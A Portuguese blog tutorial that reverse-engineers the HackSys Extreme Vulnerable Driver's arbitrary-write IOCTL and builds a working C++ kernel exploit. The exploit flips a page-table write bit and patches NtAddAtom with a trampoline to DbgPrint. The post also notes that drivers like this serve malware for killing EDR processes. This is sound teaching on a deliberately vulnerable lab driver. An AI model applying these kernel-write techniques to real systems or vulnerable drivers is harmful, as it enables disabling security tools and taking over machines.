# HEVD - HackSys

Percebi que, mesmo depois de tantos posts, eu nunca tinha falado sobre **drivers no Windows**.\
Então decidi iniciar uma pequena série sobre o assunto. E nada melhor para começar do que apresentar um dos projetos mais clássicos quando falamos de exploração de vulnerabilidades em drivers: o [**HackSys Extreme Vulnerable Driver (HEVD)**](https://github.com/hacksysteam/HackSysExtremeVulnerableDriver).

Vale lembrar que já existem vários blogs que analisam profundamente as vulnerabilidades desse driver. No próprio repositório do projeto você encontra links para materiais que explicam como explorar diferentes tipos de falhas.&#x20;

Ainda assim, resolvi escrever um post simples sobre o tema. Portanto, se você está buscando um estudo mais avançado ou detalhado, este post talvez não seja para você, minha intenção aqui é trazer uma visão mais direta e acessível.

{% hint style="danger" %}
As informações que você encontrar neste post, técnicas, códigos, provas de conceito ou qualquer outra coisa são estritamente para fins educacionais.
{% endhint %}

***

## Introdução

Provavelmente você já ouviu o termo **Bring Your Own Vulnerable Driver (BYOVD)**, mas caso nunca tenha ouvido falar, trata-se de carregar um driver vulnerável para explorar falhas no kernel.&#x20;

Explorar um driver vulnerável é algo muito interessante no contexto de desenvolvimento de malware, pois permite eliminar processos de EDR, modificar estruturas de dados do kernel das quais os EDRs dependem para coletar telemetria e muito mais. Também é uma técnica amplamente utilizada por desenvolvedores de cheats de jogos.

***

### Driver Installation

Para conseguir executar o driver **HEVD.sys**, você vai precisar ativar o modo de teste no Windows. Você pode fazer isso iniciando um **CMD** como administrador e executando os seguintes comandos:

```shellscript
bcdedit /set testsigning on
shutdown /r /t 0
```

{% hint style="info" %}
Vale lembrar que você também pode utilizar o [kdmapper](https://github.com/TheCruZ/kdmapper), que consegue mapear o driver na memória do kernel sem a necessidade de um certificado ou de modificar as configurações de inicialização.
{% endhint %}

***

### Registrar Serviço

O próximo passo é registrar o serviço do driver e inicializá-lo. Você pode fazer isso utilizando o [OSR Driver Loader](https://www.osronline.com/article.cfm^article=157.htm) ou simplesmente executando os seguintes comandos no **CMD** para registrar um serviço e inicializá-lo:

```shellscript
sc create HEVD type= kernel start= demand binPath= "C:\caminho\para\HEVD.sys"
sc start HEVD
sc query HEVD
```

***

## Análise Estática

Como estamos lidando com um driver vulnerável, o principal objetivo é fazer engenharia reversa e descobrir manipuladores de **IOCTL** que tenham sido implementados de forma insegura.\
Então, o que são IOCTLs?

**IOCTL (Input Output Control Codes)**\
IOCTLs são códigos de controle enviados a drivers para instruí-los a realizar operações específicas.\
Cada driver define seu próprio conjunto de IOCTLs, que são processados em suas rotinas de despacho. Quando esses manipuladores não validam corretamente os dados recebidos, podem surgir falhas que tornam o driver vulnerável.

Da mesma forma, é importante entender também o papel dos IRPs:

**IRP (I/O Request Packets)**\
IRPs são estruturas usadas pelo Windows para transmitir solicitações, como leitura, escrita ou comandos de controle, entre o sistema operacional e os drivers.\
Cada **IOCTL** gera um **IRP**, que é tratado pela rotina **DispatchDeviceControl** do driver. Quando o processamento desses **IRPs** é feito de maneira inadequada, pode ocorrer comportamento incorreto no driver, incluindo problemas de integridade de memória ou de controle de acesso.

***

### Análise do Driver

Então, para começar a análise do driver, vamos carregá-lo no IDA.

<figure><img src="https://3487725980-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fx3knx0LN2gJjRbyd1ua9%2Fuploads%2Fx9HAKGBanw8U2abdOWpF%2Fimage.png?alt=media&#x26;token=31f8d65d-53cb-4e6d-bfd4-2306b7a9db90" alt=""><figcaption></figcaption></figure>

O próximo passo é localizar os **IOCTLs** implementados no driver, que podem ser encontrados na função **`sub_140085078`.**

<figure><img src="https://3487725980-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fx3knx0LN2gJjRbyd1ua9%2Fuploads%2FIktcCYB28Xp2rDN1HQy0%2Fimage.png?alt=media&#x26;token=55542f9d-234f-4162-86b4-013a2b8363da" alt=""><figcaption></figcaption></figure>

O principal objetivo agora é analisar o manipulador relacionado ao: `HEVD_IOCTL_ARBITRARY_WRITE` para isso, vamos observá-lo com mais atenção. Já sabemos que o IOCTL correspondente é: `0x22200Bu`

Seguindo no IDA, entramos na função **`sub_140085E58`**, onde encontramos o seguint&#x65;**:**

```c
__int64 __fastcall sub_140085E58(__int64 a1, __int64 a2)
{
  __int64 result; // rax

  result = 3221225473LL;
  if ( *(_QWORD *)(a2 + 32) )
    return sub_140085E74();
  return result;
}
```

A função **`sub_140085E58`** basicamente verifica um campo dentro da estrutura do **IRP** e, se ele for válido, redireciona o processamento para **`sub_140085E74,`** caso contrário, apenas retorna um código de erro padrão.

Como esse redirecionamento ocorre quando a condição é atendida, o próximo passo da análise é justamente entender o que acontece dentro de **`sub_140085E74`**.

```c
__int64 __fastcall sub_140085E74(_QWORD **a1)
{
  _QWORD *v2; // rbx
  _QWORD *v3; // rdi

  ProbeForRead(a1, 0x10u, 1u);
  v2 = *a1;
  v3 = a1[1];
  DbgPrintEx(0x4Du, 3u, "[+] UserWriteWhatWhere: 0x%p\n", a1);
  DbgPrintEx(0x4Du, 3u, "[+] WRITE_WHAT_WHERE Size: 0x%X\n", 16);
  DbgPrintEx(0x4Du, 3u, "[+] UserWriteWhatWhere->What: 0x%p\n", v2);
  DbgPrintEx(0x4Du, 3u, "[+] UserWriteWhatWhere->Where: 0x%p\n", v3);
  DbgPrintEx(0x4Du, 3u, "[+] Triggering Arbitrary Write\n");
  *v3 = *v2;
  return 0;
}
```

Temos que tentar entender essa função imaginando que os prints não existem, para que possamos realmente aprender o que ela faz. A função **`sub_140085E74`** recebe como argumento um ponteiro para um array de dois ponteiros `_QWORD **a1`.&#x20;

Logo no início, ela chama `ProbeForRead(a1, 0x10u, 1u)`, o que indica que o driver espera que `a1` aponte para uma estrutura de pelo menos **16 bytes** **(0x10)**, contendo dois endereços de 8 bytes cada.

Depois dessa verificação, o código faz:

```c
v2 = *a1;
v3 = a1[1];
```

Isso já nos diz algo muito importante:\
**a função está tratando `a1` como um array de dois ponteiros fornecidos pelo usuário.**

Em seguida, ela executa:

```c
*v3 = *v2;
```

Aqui está o comportamento essencial:

* A função lê um valor do endereço apontado por `v2`.
* E escreve esse valor no endereço apontado por `v3`.

Mesmo que não existisse print ou comentário, essa operação deixa claro que a função copia dados de um endereço para outro, diretamente na memória.

Para entender de fato como os ponteiros `v2` e `v3` chegam até **`sub_140085E74`**, precisamos voltar para a função que chama **`sub_140085E58`**, que é o trecho responsável por tratar o **IOCTL `0x22200B`**:

```c
case 0x22200Bu:
    DbgPrintEx(0x4Du, 3u, "****** HEVD_IOCTL_ARBITRARY_WRITE ******\n");
    v6 = sub_140085E58(a2, CurrentStackLocation);
    v7 = "****** HEVD_IOCTL_ARBITRARY_WRITE ******\n";
    goto LABEL_62;
```

Aqui podemos ver que, quando o IOCTL correto é identificado, o driver:

1. Recebe o IRP (no `CurrentStackLocation`).
2. Passa esse IRP para **`sub_140085E58`**, que faz a verificação inicial e possivelmente chama **`sub_140085E74`**.

Com isso, o próximo foco da análise passa a ser como `CurrentStackLocation` é construído, ou seja, como os dados enviados pelo usuário chegam até a função vulnerável responsável pela escrita arbitrária.&#x20;

Para entender esse fluxo, voltamos ao início da função `sub_140085078`, que atua como o **handler** principal dos **IOCTLs** do driver.

Ao observar o começo da função, encontramos o seguinte:

```c
__int64 __fastcall sub_140085078(__int64 a1, IRP *a2)
{
  struct _IO_STACK_LOCATION *CurrentStackLocation; // r14
  unsigned int v4; // esi
  unsigned int LowPart; // r9d
  unsigned int v6; // eax
  const CHAR *v7; // r8

  CurrentStackLocation = a2->Tail.Overlay.CurrentStackLocation;
  v4 = -1073741637;
  if ( CurrentStackLocation )
  {
    LowPart = CurrentStackLocation->Parameters.Read.ByteOffset.LowPart;
    if ( LowPart > 0x22203B )
    {
      if ( LowPart > 0x222057 )
      {
        switch ( LowPart )
        {
          case 0x22205Bu:
```

Aqui podemos ver que a função recebe como argumentos um `DeviceObject` (representado por `a1`) e um ponteiro para um `IRP` (`a2`), exatamente como uma rotina de dispatch esperada em um driver do Windows.

Agora vamos olhar para essa linha:

```c
CurrentStackLocation = a2->Tail.Overlay.CurrentStackLocation;
```

Antes de tudo, é importante entender o que é o `CurrentStackLocation`.\
`CurrentStackLocation` é a estrutura `_IO_STACK_LOCATION` associada ao **IRP** que o driver está processando. Sempre que um processo em modo usuário chama `DeviceIoControl`, o Windows preenche essa estrutura com os parâmetros da requisição.

Então a expressão `a2->Tail.Overlay.CurrentStackLocation` simplesmente acessa o campo onde o Windows guarda o stack location atual. Ou seja:

`CurrentStackLocation` passa a apontar para a parte do **IRP** onde estão os dados enviados pelo usuário.

Com esse ponteiro em mãos, o driver consegue ver qual **IOCTL** foi solicitado. Isso acontece logo na linha seguinte:

```c
LowPart = CurrentStackLocation->Parameters.Read.ByteOffset.LowPart;
```

O HEVD reutiliza esse campo (`LowPart`) para armazenar o código **IOCTL**, Portanto:

* `LowPart` é o IOCTL que o processo em modo usuário enviou.

Depois disso, o driver compara esse valor com alguns limites e finalmente entra no `switch`, onde cada case corresponde a um **IOCTL** específico.&#x20;

É dessa forma que o IOCTL `0x22200B` acaba sendo direcionado para o manipulador vulnerável responsável pela escrita arbitrária.

***

## Escrevendo exploit

Agora que entendemos melhor o funcionamento interno do driver, podemos começar a desenvolver o nosso exploit.

O primeiro passo é simples: **estabelecer uma conexão com o driver vulnerável** para que possamos enviar **IOCTLs** e interagir diretamente com ele.

Para isso, criamos uma classe responsável por abrir o handler do dispositivo:

```cpp
class MemoryTester {
private:
    HANDLE hDevice;

public:
    MemoryTester() : hDevice(INVALID_HANDLE_VALUE) {}

    BOOL Initialize() {
        hDevice = CreateFileW(
            L"\\\\.\\HackSysExtremeVulnerableDriver",
            GENERIC_READ | GENERIC_WRITE,
            FILE_SHARE_READ | FILE_SHARE_WRITE,
            NULL,
            OPEN_EXISTING,
            FILE_ATTRIBUTE_NORMAL,
            NULL
        );

        if (hDevice == INVALID_HANDLE_VALUE) {
            printf("[-] Falha ao abrir handle do dispositivo: %d\n", GetLastError());
        }
        else {
            printf("[+] Handle do dispositivo aberto com sucesso\n");
        }

        return hDevice != INVALID_HANDLE_VALUE;
    }

};
```

Essa rotina utiliza `CreateFileW` para abrir o símbolo de dispositivo exposto pelo driver (`\\.\HackSysExtremeVulnerableDriver`).

Caso você queira identificar ou confirmar qual é o nome do dispositivo criado pelo driver, uma forma prática é utilizar o [**WinObj**](https://learn.microsoft.com/en-us/sysinternals/downloads/winobj), da Sysinternals. Ele permite visualizar todos os objetos do namespace do Windows, incluindo drivers carregados e seus respectivos device names, como mostrado na imagem abaixo:

<figure><img src="https://3487725980-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fx3knx0LN2gJjRbyd1ua9%2Fuploads%2FSUirAnEF7xF8uIwViwRA%2Fimage.png?alt=media&#x26;token=9f9db362-1b20-41b3-9b79-b5836abac4c3" alt=""><figcaption></figcaption></figure>

Se a chamada para `CreateFileW` retornar um handle válido, significa que conseguimos estabelecer comunicação com o driver, e a partir desse ponto, podemos enviar **IOCTLs** e explorar a vulnerabilidade.

O código para testar a conexão fica assim:

```cpp
#include <windows.h>
#include <stdio.h>
#include <winioctl.h>
#include <iostream>
#include <memory>
#include "executar_ioctl.h"

int main() {
    printf("===========================================\n");
    printf("    HackSysExtremeVulnerableDriver - POC   \n");
    printf("===========================================\n\n");

    printf("[*] Inicializando conexao com o driver...\n");
    MemoryTester classe_tester;

    if (!classe_tester.Initialize()) {
        printf("[!] Falha ao abrir dispositivo: %d\n", GetLastError());
        printf("[!] Certifique-se de que o driver esta carregado e o dispositivo esta acessivel\n");
        return 1;
    }

    system("pause");
    return 0;
}
```

Após executar esse código, obtemos a confirmação de que o handle do dispositivo foi aberto, o que nos permite prosseguir para a fase mais interessante: **enviar o IOCTL vulnerável**.

<figure><img src="https://3487725980-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fx3knx0LN2gJjRbyd1ua9%2Fuploads%2F1FFJSFqKhLTMe8VfycZy%2Fimage.png?alt=media&#x26;token=88279b1a-7581-4160-8533-0c10a2f2fb9c" alt=""><figcaption></figcaption></figure>

***

### Enviando o IOCTL

O **IOCTL** que ativa a primitiva de escrita arbitrária no HEVD é o `0x22200B`, então:

```cpp
#define HEVD_IOCTL_ARBITRARY_WRITE 0x22200B
```

Como vimos anteriormente na análise reversa, o driver espera receber uma estrutura contendo dois ponteiros:

* **What** → endereço de onde será lido o valor
* **Where** → endereço para onde o valor será escrito

Podemos representá-la em C/C++ como:

```cpp
typedef struct _WRITE_WHAT_WHERE {
    PVOID What;
    PVOID Where;
} WRITE_WHAT_WHERE, *PWRITE_WHAT_WHERE;
```

Com isso, adicionamos à classe `MemoryTester` um método responsável por disparar o IOCTL vulnerável:

```cpp
BOOL ArbitraryWrite(PVOID What, PVOID Where) {

    WRITE_WHAT_WHERE Struct = { 0 };
    Struct.What  = What;
    Struct.Where = Where;

    printf("\n[*] Chamando IOCTL_ARBITRARY_WRITE\n");
    printf("[*] Codigo IOCTL: 0x%X\n", HEVD_IOCTL_ARBITRARY_WRITE);
    printf("[*] Destino (Where): 0x%p\n", Where);

    BOOL result = DeviceIoControl(
        hDevice,
        HEVD_IOCTL_ARBITRARY_WRITE,
        &Struct,
        sizeof(WRITE_WHAT_WHERE),
        NULL,   // No output buffer
        0,      // No output buffer size
        NULL,   // No bytes returned
        NULL    // No overlapped
    );

    if (result) {
        printf("[+] Chamada IOCTL realizada com sucesso!\n");
        return TRUE;
    } else {
        DWORD error = GetLastError();
        printf("[-] Chamada IOCTL falhou com erro: %d (0x%X)\n", error, error);

        if (error == ERROR_INVALID_FUNCTION) {
        printf("[-] Codigo IOCTL invalido: 0x%X\n", HEVD_IOCTL_ARBITRARY_WRITE);
        }

        return FALSE;
    }
}
```

Agora que já temos a função `ArbitraryWrite` implementada, o próximo passo é chamá-la a partir da função `main`. Para isso, precisamos fornecer dois argumentos:

* **What** → ponteiro para o valor que queremos escrever
* **Where** → endereço de destino onde o valor será gravado

Para testar se a primitiva realmente funciona, podemos começar criando uma área de memória totalmente controlada em modo usuário, isso permite verificar a escrita sem arriscar travamentos

A alocação pode ser feita de forma simples sem nenhum problema:

```cpp
PULONG_PTR targetMemory = (PULONG_PTR)VirtualAlloc(
    NULL,
    sizeof(ULONG_PTR),
    MEM_COMMIT | MEM_RESERVE,
    PAGE_EXECUTE_READWRITE
);

printf("[+] Memoria de destino alocada em: 0x%p\n", targetMemory);

ULONG_PTR valueToWrite = 176;
```

Com essa estrutura montada, podemos chamar o método `ArbitraryWrite` passando o endereço do valor a ser escrito e o endereço da memória alvo:

```cpp
if (classe_tester.ArbitraryWrite(&valueToWrite, targetMemory)) {
    printf("\n[*] Verificando operacao de escrita...\n");
    printf("[*] Valor final: %llu (0x%llX)\n", *targetMemory, *targetMemory);

    if (*targetMemory == valueToWrite) {
        printf("[+] SUCESSO! Valor 176 escrito com sucesso!\n");
        printf("[+] Vulnerabilidade de escrita arbitraria confirmada!\n");
    }
    else {
        printf("[-] FALHA! Valor nao foi escrito corretamente\n");
        printf("[-] Esperado: %llu, Obtido: %llu\n", valueToWrite, *targetMemory);
    }
}
else {
    printf("[-] Funcao ArbitraryWrite falhou\n");
}
```

Ao executar o código, obtemos o seguinte resultado, demonstrando claramente que o driver aceitou o IOCTL e realizou a escrita arbitrária com sucesso:

<figure><img src="https://3487725980-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fx3knx0LN2gJjRbyd1ua9%2Fuploads%2Fbzb9WAbTAabbp4QAwtwc%2Fimage.png?alt=media&#x26;token=53b22643-3ed8-43dd-acbb-2236668852c8" alt=""><figcaption></figcaption></figure>

***

## Elevando a dificuldade

Bom, agora que descobrimos que é realmente fácil abusar dessa função, como poderíamos chamar uma função arbitrária, algo como **DbgPrint** por exemplo? Pode parecer besteira, mas vai ser bem mais desafiador do que parece conseguir fazer isso.

Se você analisar o driver, vai perceber que não existe um **IOCTL** específico para executar código arbitrário ou chamar funções diretamente. Então, precisamos forçar essa chamada de alguma forma. Mas como podemos fazer isso?

Uma maneira de conseguir isso é calculando o endereço base do kernel e somando o offset até uma função Nt, como por exemplo NtAddAtom. Nesse endereço, vamos sobrescrever os primeiros bytes da função com um gadget que nos permitirá redirecionar o fluxo de execução para onde quisermos.

O gadget que vamos utilizar é bem simples:

```c
unsigned char shellcode[] = {
    0x48, 0xB8,               // mov rax, <endereço>
    0, 0, 0, 0, 0, 0, 0, 0,   // endereço de 64 bits (será preenchido)
    0xFF, 0xE0,               // jmp rax
    0x90, 0x90, 0x90, 0x90    // NOP padding para 16 bytes
};
```

Esse pequeno trecho de código faz o seguinte:

* **mov rax, \<endereço>** → carrega um endereço de 64 bits no registrador RAX
* **jmp rax** → salta para o endereço contido em RAX

Em outras palavras, estamos criando um trampolim. Quando alguém chamar a função NtAddAtom (que agora está corrompida), em vez de executar o código original, o processador vai executar nosso gadget, que imediatamente desviará a execução para o endereço que especificarmos.

Mas temos alguns problemas aqui. Se tentarmos escrever diretamente nesse endereço de memória, vamos obter uma tela azul bem bonita. Isso ocorre porque esse endereço está em uma região protegida contra escrita.

Antes de resolver esse problema, precisamos primeiro descobrir onde o kernel está carregado na memória. Para isso, adicionamos à nossa classe `MemoryTester` um método chamado `GetBaseAddr`:

```cpp
#include <psapi.h>

LPVOID GetBaseAddr(LPCWSTR drvname)
{
    LPVOID drivers[1024];
    DWORD cbNeeded;
    int nDrivers, i = 0;
    
    if (EnumDeviceDrivers(drivers, sizeof(drivers), &cbNeeded) && cbNeeded < sizeof(drivers))
    {
        WCHAR szDrivers[1024];
        nDrivers = cbNeeded / sizeof(drivers[0]);
        
        for (i = 0; i < nDrivers; i++)
        {
            if (GetDeviceDriverBaseName(drivers[i], szDrivers,
                sizeof(szDrivers) / sizeof(szDrivers[0])))
            {
                if (wcscmp(szDrivers, drvname) == 0)
                {
                    return drivers[i];
                }
            }
        }
    }
    return 0;
}
```

Essa função utiliza `EnumDeviceDrivers` para enumerar todos os drivers carregados no sistema e armazená-los no array drivers. Depois disso, ela percorre cada entrada desse array usando `GetDeviceDriverBaseName` para obter o nome de cada driver.

Quando encontra o driver que estamos procurando (no nosso caso, ntoskrnl.exe), ela simplesmente retorna o endereço base correspondente. Esse é justamente o endereço onde o kernel do Windows está carregado na memória.

Na função main, chamamos esse método da seguinte forma:

```cpp
printf("[+] Chamando EnumDeviceDrivers para encontrar NT base\n");
LPVOID nt_base = classe_tester.GetBaseAddr(L"ntoskrnl.exe");
printf("[+] NT base: %p\n", nt_base);
```

Com esse endereço em mãos, temos a base do kernel. A partir dele, podemos calcular o offset até qualquer função exportada, como `NtAddAtom`.

Agora precisamos descobrir onde exatamente ficam as funções `NtAddAtom` e `DbgPrint` dentro dele. Para isso, vamos usar um truque bem interessante: carregar uma cópia do `ntoskrnl.exe` em modo usuário.

```cpp
HMODULE user_copy = LoadLibraryExW(
    L"C:\\Windows\\System32\\ntoskrnl.exe",
    NULL,
    DONT_RESOLVE_DLL_REFERENCES);
if (!user_copy) {
    printf("[-] Falha ao carregar a copia do kernel\n");
    return -1;
}
```

Aqui estamos usando `LoadLibraryExW` com a flag `DONT_RESOLVE_DLL_REFERENCES`, que carrega o arquivo do kernel como se fosse uma DLL comum, mas sem resolver suas dependências.

A grande sacada aqui é que, embora estejamos carregando o arquivo em modo usuário, a estrutura interna dele é idêntica à versão carregada no kernel. Isso significa que os offsets relativos das funções exportadas são os mesmos.

Com essa cópia em mãos, podemos calcular os offsets:

```cpp
ULONGLONG offset = classe_tester.GetKernelExportOffset(user_copy, "NtAddAtom");
ULONGLONG ntaddatom_kernel = (ULONGLONG)nt_base + offset;
printf("[+] Endereco do Kernel NtAddAtom: 0x%llx\n", ntaddatom_kernel);

ULONGLONG dbgprint_offset = classe_tester.GetKernelExportOffset(user_copy, "DbgPrint");
ULONGLONG dbgprint_kernel = (ULONGLONG)nt_base + dbgprint_offset;
printf("[+] Endereco do Kernel DbgPrint: 0x%llx\n", dbgprint_kernel);
```

O método `GetKernelExportOffset` é bem direto:

```cpp
ULONGLONG GetKernelExportOffset(HMODULE user_copy, const char* export_name)
{
    ULONGLONG base = (ULONGLONG)user_copy;
    void* export_addr = (void*)GetProcAddress(user_copy, export_name);
    if (!export_addr)
        return 0;
    return (ULONGLONG)export_addr - base;
}
```

Ele usa `GetProcAddress` para encontrar o endereço da função exportada na nossa cópia em modo usuário, e então subtrai o endereço base dessa cópia. O resultado é o offset relativo da função dentro do arquivo.

Como os offsets são os mesmos tanto na cópia em modo usuário quanto no kernel real, podemos simplesmente somar esse offset ao endereço base do kernel que obtivemos anteriormente. Com isso, temos os endereços exatos de `NtAddAtom` e `DbgPrint` no kernel em execução.

Agora que temos o endereço da `DbgPrint` no kernel, precisamos preencher nosso shellcode com esse endereço. Lembra que o gadget tinha aqueles bytes zerados esperando um endereço de 64 bits? É exatamente isso que vamos fazer agora:

```cpp
memcpy(shellcode + 2, &dbgprint_kernel, sizeof(dbgprint_kernel));
```

Essa linha copia o endereço de `DbgPrint` para dentro do shellcode, começando no byte 2, pulando os dois primeiros bytes que são a instrução `mov rax`. Com isso, nosso gadget fica completo: ele vai carregar o endereço da `DbgPrint` em `RAX` e  dps vai saltar para lá.

Mas tem um detalhe importante aqui. Quando sobrescrevermos os primeiros bytes da `NtAddAtom` com nosso shellcode, vamos destruir o código original da função. Se quisermos restaurar o comportamento normal depois (ou evitar deixar o sistema instável), precisamos salvar esses bytes antes de modificá-los.

```cpp
const SIZE_T shellcode_size = sizeof(shellcode);
unsigned char original_bytes[shellcode_size];
ULONGLONG user_ntaddatom = (ULONGLONG)user_copy + offset;
memcpy(original_bytes, (void*)user_ntaddatom, shellcode_size);
```

Aqui estamos fazendo exatamente isso: calculamos onde a `NtAddAtom` está localizada na nossa cópia em modo usuário (somando o offset ao endereço base da cópia) e copiamos os primeiros bytes dela para o array `original_bytes`.

Esses bytes são importantes porque guardando-os, temos a opção de restaurar a `NtAddAtom` ao seu estado original depois de usarmos nosso trampolim, evitando deixar o sistema em um estado permanentemente corrompido.

Agora lembra que eu disse que o endereço de `NtAddAtom` não tem permissão de escrita? Então, temos que alterar isso antes de conseguirmos sobrescrever a função com nosso shellcode.

Para entender o que vamos fazer, precisamos falar rapidamente sobre como o Windows gerencia a memória através de estruturas chamadas Page Table Entries (PTEs).&#x20;

Cada região de memória no sistema tem entradas que descrevem suas permissões, e essas entradas são organizadas em uma hierarquia: PXE → PPE → PDE → PTE.

O que nos interessa aqui é o PDE (Page Directory Entry) da `NtAddAtom`. Essa estrutura contém, entre outras coisas, um bit que controla se a página é writable (gravável) ou read-only (somente leitura). \
No caso do código do kernel, por padrão esse bit está desligado, impedindo escritas.

Para obter o endereço do PDE do `NtAddAtom`, eu por preguiça decidi usar o [WinDbg](https://learn.microsoft.com/pt-br/windows-hardware/drivers/debugger/) anexando-o ao kernel localmente e executando os seguintes comandos:

```shellscript
x nt!NtAddAtom
!pte <endereço de NtAddAtom>
```

{% hint style="info" %}
Lembre-se de que é necessário ativar o modo de depuração para que isso funcione, já que precisamos nos anexar ao kernel. Para isso, execute o comando `bcdedit /debug on` e reinicie o computador.
{% endhint %}

Isso vai retornar algo parecido com:

```shellscript
PXE at FFFFC9E4F2793F80    PPE at FFFFC9E4F27F0080    PDE at FFFFC9E4FE010488    PTE at FFFFC9FC02091AB0
contains 0000000005409063  contains 000000000550A063  contains 0A000000038000A1  contains 0000000000000000
pfn 5409      ---DA--KWEV  pfn 550a      ---DA--KWEV  pfn 3800      --L-A--KREV  LARGE PAGE pfn 3956
```

O endereço que precisamos é justamente o PDE: `FFFFC9E4FE010488`. Copiamos esse valor e adicionamos ao nosso código:

```cpp
ULONGLONG ntaddatom_pde_addr = 0xFFFFC9E4FE010488ULL;
```

Com o endereço do PDE em mãos, agora podemos ler seu valor atual, modificá-lo para incluir a permissão de escrita, e depois usar nossa primitiva de escrita arbitrária para aplicar a mudança:

```cpp
// Ler PDE original
ULONGLONG ntaddatom_pde_original = classe_tester.kernel_read(classe_tester.GetDeviceHandle(), ntaddatom_pde_addr);
printf("[+] PDE original: 0x%016llx\n", ntaddatom_pde_original);

// Tornar writable (setar bit R/W - bit 1)
ULONGLONG ntaddatom_pde_writable = ntaddatom_pde_original | 0x2ULL;
printf("[+] PDE modificado (writable): 0x%016llx\n", ntaddatom_pde_writable);

printf("[*] Modificando PDE para tornar NtAddAtom writable...\n");
if (!classe_tester.ArbitraryWrite(&ntaddatom_pde_writable, sizeof(ntaddatom_pde_writable), (PVOID)ntaddatom_pde_addr)) {
    printf("[-] Falha ao modificar PDE\n");
    return 1;
}
```

O que estamos fazendo aqui é bem direto: primeiro lemos o valor atual do PDE, depois fazemos um OR bit a bit com `0x2` (que ativa o bit de escrita), e finalmente usamos o `ArbitraryWrite` para sobrescrever o PDE com esse novo valor modificado.

A partir desse momento, a página onde o `NtAddAtom` está localizada se torna gravável, e podemos finalmente sobrescrever seus primeiros bytes com nosso shellcode.

Antes de prosseguir, precisei fazer uma modificação importante no método `ArbitraryWrite`. A versão anterior funcionava bem para escrever valores únicos, mas agora precisamos escrever um shellcode inteiro, byte por byte, no kernel. Para isso, a nova implementação ficou assim:

```cpp
BOOL ArbitraryWrite(const void* data, SIZE_T size, PVOID base_addr) {
    const unsigned char* bytes = reinterpret_cast<const unsigned char*>(data);
    for (SIZE_T i = 0; i < size; i += 8) {
        ULONGLONG qword = 0;
        SIZE_T copy_size = (i + 8 <= size) ? 8 : (size - i);
        memcpy(&qword, bytes + i, copy_size);

        char buf[0x10];
        memset(buf, 0x41, sizeof(buf));
        void* what_ptr = &qword;
        memcpy(buf, &what_ptr, 8);
        PVOID where_addr = (PVOID)((ULONGLONG)base_addr + i);
        memcpy(buf + 8, &where_addr, 8);

        DWORD bytesReturned = 0;
        BOOL result = DeviceIoControl(
            hDevice,
            HEVD_IOCTL_ARBITRARY_WRITE,
            buf,
            sizeof(buf),
            NULL,
            0,
            &bytesReturned,
            NULL
        );

        if (!result) {
            DWORD error = GetLastError();
            printf("[-] Falha ao escrever no offset %zu: %d (0x%X)\n", i, error, error);
            return FALSE;
        }
    }
    return TRUE;
}
```

A diferença aqui é que agora o método recebe um buffer de dados e seu tamanho, e então itera sobre esse buffer escrevendo **8 bytes** (um QWORD) por vez. Para cada iteração, ele calcula o offset correto no endereço de destino e usa a primitiva de escrita arbitrária para gravar aquele pedaço do shellcode.

Com essa nova versão, podemos finalmente sobrescrever a `NtAddAtom` com nosso shellcode:

```cpp
printf("[*] Escrevendo shellcode no kernel...\n");
if (!classe_tester.ArbitraryWrite(shellcode, sizeof(shellcode), (PVOID)ntaddatom_kernel)) {
    printf("[-] Falha ao escrever shellcode\n");
    classe_tester.ArbitraryWrite(&ntaddatom_pde_original, sizeof(ntaddatom_pde_original), (PVOID)ntaddatom_pde_addr);
    return 1;
}
```

Se a escrita do shellcode falhar por algum motivo, já restauramos o PDE imediatamente para evitar problemas.

Assumindo que tudo deu certo, agora os primeiros bytes da `NtAddAtom` no kernel foram substituídos pelo nosso trampolim. Mas ainda não terminamos: precisamos restaurar as permissões da página de volta ao estado original para não deixar o código do kernel permanentemente gravável.

```cpp
printf("[*] Restaurando PDE para Read-Only...\n");
if (!classe_tester.ArbitraryWrite(&ntaddatom_pde_original, sizeof(ntaddatom_pde_original), (PVOID)ntaddatom_pde_addr)) {
    printf("[-] Falha ao restaurar PDE (PERIGO!)\n");
}
else {
    printf("[+] PDE restaurado!\n");
}
```

Aqui estamos escrevendo de volta o valor original do PDE, removendo a permissão de escrita que havíamos adicionado.

Neste ponto, a `NtAddAtom` está corrompida com nosso shellcode, mas a página voltou a ser read-only. Agora, sempre que alguém chamar `NtAddAtom`, em vez de executar a função original, o processador vai executar nosso trampolim que desvia para a `DbgPrint`.

Agora vem a parte mais interessante, chamar nossa função corrompida. Para isso, precisamos chamar `NtAddAtom` a partir do modo usuário, e quando o processador tentar executá-la, vai acabar executando nosso shellcode que desvia para a `DbgPrint`.

Primeiro, carregamos a `ntdll.dll` e obtemos o endereço da `NtAddAtom` exportada:

```cpp
HMODULE ntdll = LoadLibraryA("ntdll.dll");
typedef NTSTATUS(NTAPI* NtAddAtom_t)(PWSTR, ULONG, PVOID);
NtAddAtom_t pNtAddAtom = (NtAddAtom_t)GetProcAddress(ntdll, "NtAddAtom");
```

Em seguida, preparamos uma mensagem que queremos que seja impressa pelo `DbgPrint` no kernel:

```cpp
const char* dbg_msg = "Ei! Nao se esqueca de me seguir em github.com/Vith0r\n";
printf("[*] Invocando NtAddAtom para disparar DbgPrint...\n");
pNtAddAtom((PWSTR)dbg_msg, 0, NULL);
```

Quando chamamos `pNtAddAtom`, o que acontece é bem legal, a chamada faz uma transição de modo usuário para modo kernel via **syscall**, e o processador tenta executar o código da `NtAddAtom`.&#x20;

Só que em vez do código original da função, ele encontra nosso shellcode `mov rax, <endereço_DbgPrint>; jmp rax`, que carrega o endereço da `DbgPrint` em **RAX** e salta para lá. Com isso, o `DbgPrint` é executado recebendo nossa mensagem como argumento.

Vale lembrar que essa mensagem não vai aparecer no console do nosso programa, mas sim no output do **kernel debugger**:

<figure><img src="https://3487725980-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fx3knx0LN2gJjRbyd1ua9%2Fuploads%2FeIbeCPp7HQzlIkBDMggn%2Fimage.png?alt=media&#x26;token=cfb19494-80f3-40bf-a70b-f54e974f9174" alt=""><figcaption></figcaption></figure>

***

### Considerações Finais

Bom, para falar a verdade, foi bem difícil conseguir estudar tudo isso. Levei bastante tempo para conseguir escrever esse "artigo" e espero de verdade que você tenha gostado dele.

